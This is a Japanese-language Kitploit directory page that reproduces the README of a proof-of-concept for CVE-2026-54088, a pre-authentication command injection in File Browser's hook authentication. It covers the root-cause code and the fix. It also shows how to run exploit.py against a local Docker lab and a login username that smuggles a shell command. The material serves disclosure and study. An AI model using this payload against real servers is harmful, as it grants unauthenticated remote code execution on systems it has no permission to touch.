Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-54088-poc — CVE-2026-54088の概念実証エクスプロイト。File Browser <=2.63.5の認証前OSコマンドインジェクションです。Hook Authenticationを介したシェルインジェクションを示し、リモートコード実行を達成します。 | Kitploit
ツール/GitHubGitHub/saku0512/cve-2026-54088-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育ペイロード開発
GitHubsaku0512/cve-2026-54088-poc

CVE-2026-54088-poc

CVE-2026-54088の概念実証エクスプロイト。File Browser <=2.63.5の認証前OSコマンドインジェクションです。Hook Authenticationを介したシェルインジェクションを示し、リモートコード実行を達成します。

リポジトリを見る
132ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-54088: 認証フックのシェル置換によるコマンドインジェクション(認証前 RCE)

English version

概要

このリポジトリは、File Browser のバージョン <= 2.63.5 に存在する重大な OS コマンドインジェクション脆弱性 CVE-2026-54088 の Proof of Concept (PoC) です。

この脆弱性は Hook Authentication 機能に存在します。管理者が外部コマンドでユーザー認証を行うよう File Browser を設定している場合、ログイン時に送信された username と password が、エスケープされないまま os.Expand() によって設定済みコマンド文字列へ展開されます。未認証のリモート攻撃者は、ログインリクエスト経由でシェル構文を注入し、認証が成功する前に任意のコマンドを実行できます。

発見者: saku0512 (https://github.com/Saku0512)


免責事項

このプロジェクトは、教育目的および倫理的なセキュリティテストのみを目的としています。

このツールの悪用、損害、違法行為について、作者は一切の責任を負いません。コンピューターシステムへの不正アクセスは違法です。明示的な許可を得ている環境でのみ、このソフトウェアを使用してください。


脆弱性の詳細

  • CVE ID: CVE-2026-54088
  • Advisory: GHSA-m93h-4hw7-5qcm
  • 種別: OS コマンドインジェクション (CWE-78)
  • 影響: 認証前リモートコード実行 (RCE)
  • 影響を受けるバージョン: File Browser <= 2.63.5
  • 修正済みバージョン: File Browser 2.63.6
  • 影響を受けるファイル: auth/hook.go
  • 影響を受ける関数: HookAuth.RunCommand

根本原因

HookAuth.RunCommand() は、設定された認証コマンドを分割し、攻撃者が制御できるリクエストデータを使って認証情報のプレースホルダーを展開します。

root@kitploit:~
envMapping := func(key string) string {
    switch key {
    case "USERNAME":
        return a.Cred.Username
    case "PASSWORD":
        return a.Cred.Password
    default:
        return os.Getenv(key)
    }
}

for i, arg := range command {
    if i == 0 {
        continue
    }
    command[i] = os.Expand(arg, envMapping)
}

hook コマンドが次のように設定されている場合:

root@kitploit:~
sh -c $USERNAME

攻撃者が次のような username を送信すると:

root@kitploit:~
touch /tmp/fb_hook_auth_pwned; echo hook.action=block

ログイン試行中に、サーバーは攻撃者が制御するシェルスクリプトを実行します。有効なアカウントやパスワードは不要です。

修正内容

この問題は、commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f で、hook コマンド文字列から認証情報の置換処理を削除することにより修正されました。hook コマンドは設定された内容のまま実行され、認証情報は環境変数としてのみ渡されます。

root@kitploit:~
command := strings.Split(a.Command, " ")

cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))

削除された脆弱な処理は、exec.Command() が呼び出される前に、攻撃者が制御する認証情報でコマンド引数を書き換える os.Expand() ループです。この修正では、注入された認証情報によって hook コマンドを改変できないこと、および USERNAME / PASSWORD が引き続き環境変数経由で hook から利用できることを確認する回帰テストも追加されています。


Proof of Concept (使用方法)

1. 環境セットアップ

脆弱な File Browser 環境を起動します。filebrowser-init サービスがデータベースを作成し、脆弱なコマンドを使って Hook Authentication を有効化します。

root@kitploit:~
docker compose up -d

ターゲットは次の URL で利用できます。

root@kitploit:~
http://localhost:8080

2. Exploit の実行

このディレクトリから exploit スクリプトを実行します。

root@kitploit:~
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"

この exploit は、/api/login に未認証のログインリクエストを 1 回送信します。認証は失敗する想定ですが、その前に注入されたコマンドが実行されます。

3. GUI での確認

ブラウザで File Browser のログイン画面を開きます。

root@kitploit:~
http://localhost:8080

ログインフォームに次の値を入力して、ログインボタンをクリックします。

root@kitploit:~
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything

ログインは失敗しますが、Hook Authentication のコマンド実行は認証結果が返る前に行われます。次のコマンドで、GUI 操作によってコンテナ内にマーカーファイルが作成されたことを確認します。

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned

ファイルが存在すれば、GUI のログイン操作からも認証前 RCE が発生したことを確認できます。

4. CLI PoC の検証

File Browser コンテナ内でコマンドが実行されたことを確認します。

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned

ファイルが存在すれば、認証前 RCE が確認できます。

5. クリーンアップ

root@kitploit:~
docker compose down -v

対策

File Browser を バージョン 2.63.6 以降へアップデートしてください。

認証情報は shell コマンド文字列に埋め込まず、環境変数としてのみ hook コマンドへ渡すべきです。その他のコマンド実行パスについても、shell 評価を避けるか、厳密な引数分離とエスケープを行う必要があります。


参考情報

  • File Browser GitHub Repository
  • File Browser v2.63.5 vulnerable implementation
  • Fix commit: remove undocumented hook auth with shell replacement
ツールをダウンロード